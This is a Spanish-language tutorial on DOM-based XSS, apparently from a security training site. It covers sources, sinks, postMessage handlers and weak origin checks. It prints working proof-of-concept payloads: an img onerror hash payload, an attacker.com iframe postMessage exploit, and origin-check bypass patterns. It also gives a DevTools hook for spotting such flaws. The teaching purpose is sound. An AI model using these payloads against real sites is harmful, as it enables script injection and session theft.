Respuesta rápida
DOM XSS es client-side: el payload nunca toca el server. El flujo es source → sink con o sin gadget intermedio. Sources comunes: location.hash, postMessage, document.referrer, window.name, localStorage. Sinks ejecutables: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). Cuando no hay sink directo, los gadgets (toString coercion, jQuery addBack, lodash _.set) convierten un sink "limpio" en ejecución arbitraria.
Sources — de dónde viene el input controlado
Cualquier dato que el atacante pueda manipular sin requerir backend.
| Source | Manipulación | Notas |
|---|---|---|
location.hash | URL fragment #payload | No se envía al server, ideal para no dejar logs |
location.search | ?param=payload | Reflejado server-side suele dar RXSS clásico, client-side da DOM XSS |
location.pathname | URL path segments | Útil cuando hay routers client-side (React Router) |
document.referrer | Header Referer del request previo | Atacante controla via página propia con link |
window.name | Persiste cross-origin via target.name=... antes de navegar | Source clásico para CSP bypass |
postMessage | iframe.contentWindow.postMessage(...) | Most exploited DOM XSS vector en 2026 |
localStorage / sessionStorage | Set desde otro XSS o subdomain | Persistente |
IndexedDB | Mismo origen | Idem |
WebSocket message | Si la app abre WS y atacante puede inyectar mensajes (MITM, server bug) | Niche |
BroadcastChannel | Mensajes entre tabs same-origin | Niche |
document.cookie | Set desde subdomain o cookie tossing | Útil cuando hay parsing client-side |
Sinks — dónde se ejecuta JavaScript
Sinks "duros" (ejecutan JS directo si meten un payload):
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0); // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput); // jQuery
$(userInput); // jQuery con HTML string
range.createContextualFragment(userInput);
Sinks "blandos" (necesitan que el payload tenga forma específica):
location.href = userInput; // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput; // <iframe src=javascript:...>
element.href = userInput; // <a href=javascript:...>
element.action = userInput; // <form action=javascript:...>
element.onclick = userInput; // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput); // si reflejado luego con innerHTML
Patrón source → sink trivial
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
https://target.com/page#<img src=x onerror=alert(1)>
Detección automática: DOM Invader (Burp), DOMSnitch (Chrome extension), o el hook manual:
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set(v) {
if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
}
origInnerHTML.set.call(this, v);
}
});
postMessage handlers — el vector #1 de 2026
El listener window.addEventListener('message', ...) recibe datos cross-origin. Si no valida event.origin, cualquier dominio externo (iframe abierto en attacker.com con target.com framed) puede enviar payloads.
// Vulnerable
window.addEventListener('message', (e) => {
document.getElementById('ads').innerHTML = e.data;
});
Exploit:
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>
Variaciones más sofisticadas
JSON message + property dispatch
window.addEventListener('message', (e) => {
const data = JSON.parse(e.data);
if (data.type === 'render') {
document.getElementById(data.target).innerHTML = data.html;
}
});
Payload:
target.contentWindow.postMessage(
JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
'*'
);
Origin check con .includes o regex laxo
if (e.origin.includes('target.com')) { ... } // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... } // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... } // eviltarget.com pasa
Cualquier validación que no use e.origin === 'https://target.com' es bypasseable.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Dom Xss Gadgets Postmessage
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
Client-side admin bypass — boolean manipulation + BAC en SPA moderna
Report real Quora: SPA con isAdmin boolean en localStorage que controla UI + backend que no valida server-side. Cómo encadenar boolean flip con BAC para admin takeover.
Análisis JavaScript client-side — endpoints, secrets y source maps
Extracción de endpoints ocultos de JS bundles, detección de secrets, análisis de source maps y dynamic instrumentation con Frida para auditar lógica client-side.